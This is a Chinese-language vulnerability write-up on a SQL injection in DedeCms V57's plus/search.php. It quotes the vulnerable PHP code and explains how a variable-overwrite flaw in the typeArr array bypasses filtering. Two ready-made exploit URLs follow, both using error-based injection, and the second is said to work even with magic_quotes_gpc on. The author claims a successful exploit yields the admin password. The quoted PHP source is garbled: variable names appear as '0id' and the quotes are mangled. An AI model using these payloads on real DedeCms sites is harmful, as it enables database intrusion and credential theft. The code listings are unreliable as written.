DedeCms V57 plus/search.php文件SQL注射

微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.

    作者: c4rp3nt3r@0x50sec.org

    Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

    黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.

    ============

    Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

1. require_once(dirname(__FILE__).”/../include/common.inc.php”);

2. require_once(DEDEINC.”/arc.searchview.class.php”);

3. 
   

4. $pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;

5. 0id = (isset(0id) && is_numeric(0id)) ? 0id : 0;

6. $channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;

7. $kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;

8. $mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;

9. 
   

10. if(!isset($orderby)) $orderby=”;

11. else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);

12. 
    

13. 
    

14. if(!isset($searchtype)) $searchtype = ‘titlekeyword’;

15. else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);

16. 
    

17. if(!isset($keyword)){

18. if(!isset($q)) $q = ”;

19. $keyword=$q;

20. }

21. 
    

22. $oldkeyword = $keyword = FilterSearch(stripslashes($keyword));

23. 
    

24. //查找栏目信息

25. if(empty(0id))

26. {

27. 0nameCacheFile = DEDEDATA.’/cache/typename.inc’;

28. if(!file_exists(0nameCacheFile) || filemtime(0nameCacheFile) < time()-(3600*24) )

29. {

30. $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);

31. fwrite($fp, “<”.”?php\r\n”);

32. $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);

33. $dsql->Execute();

34. while($row = $dsql->GetArray())

35. {

36. fwrite($fp, “\0Arr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);

37. }

38. fwrite($fp, ‘?’.'>’);

39. fclose($fp);

40. }

41. //引入栏目缓存并看关键字是否有相关栏目内容

42. require_once(0nameCacheFile);

43. //0Arr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个

44. //

45. if(isset(0Arr) && is_array(0Arr))

46. {

47. foreach(0Arr as $id=>0name)

48. {

49. 
    

50. $keywordn = str_replace(0name, ‘ ‘, $keyword);  //这个地方要绕过

51. if($keyword != $keywordn)

52. {

53. $keyword = $keywordn;

54. 0id = $id; // 这里存在变量覆盖漏洞使 0id = (isset(0id) && is_numeric(0id)) ? 0id : 0; 这句过滤成了摆设

55. break;

56. }

57. }

58. }

59. }

    然后plus/search.php文件下面定义了一个 Search类的对象 .

    在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.

    $this->TypeLink = new TypeLink(0id);

    TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.

1. class TypeLink

2. {

3. var 0Dir;

4. var $dsql;

5. var $TypeID;

6. var $baseDir;

7. var $modDir;

8. var $indexUrl;

9. var $indexName;

10. var $TypeInfos;

11. var $SplitSymbol;

12. var $valuePosition;

13. var $valuePositionName;

14. var $OptionArrayList;

15. 
    

16. //构造函数///////

17. //php5构造函数

18. function __construct(0id)

19. {

20. $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];

21. $this->indexName = $GLOBALS['cfg_indexname'];

22. $this->baseDir = $GLOBALS['cfg_basedir'];

23. $this->modDir = $GLOBALS['cfg_templets_dir'];

24. $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];

25. $this->dsql = $GLOBALS['dsql'];

26. $this->TypeID = 0id;

27. $this->valuePosition = ”;

28. $this->valuePositionName = ”;

29. $this->typeDir = ”;

30. $this->OptionArrayList = ”;

31. 
    

32. //载入类目信息

33. 
    

34. $query = “SELECT tp.*,ch.typename as

35. ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join

36. `#@__channeltype` ch

37. on ch.id=tp.channeltype  WHERE tp.id=’0id’ “; //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿

38. 
    

39. if(0id > 0)

40. {

41. $this->TypeInfos = $this->dsql->GetOne($query);

    利用代码一 需要 即使magic_quotes_gpc = Off

    http:// /plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title

    这只是其中一个利用代码… Search 类的构造函数再往下

1. ……省略

2. $this->TypeID = 0id;

3. ……省略

4. if($this->TypeID==”0″){

5. $this->ChannelTypeid=1;

6. }else{

7. $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲

8. //现在不鸡肋了吧亲…

9. $this->ChannelTypeid=$row['channeltype'];

10. 
    

11. }

    利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.

    http:// /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title

    如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站